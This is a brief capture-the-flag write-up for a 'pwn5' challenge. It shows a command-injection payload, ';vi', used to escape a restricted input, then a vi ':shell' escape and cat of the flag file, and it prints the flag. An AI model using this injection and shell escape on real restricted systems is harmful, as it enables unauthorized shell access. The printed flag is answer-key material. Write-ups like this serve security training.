A simple escape from limited ls command or three chars, so went with 
`;vi`
then simply used the shell from vi
`:shell`
and run ls and cat for the flag
```lsflag.txtpwn5cat flag.txtgigem{r37urn_0r13n73d_pr4c71c3}```
FLAG:
> gigem{r37urn_0r13n73d_pr4c71c3}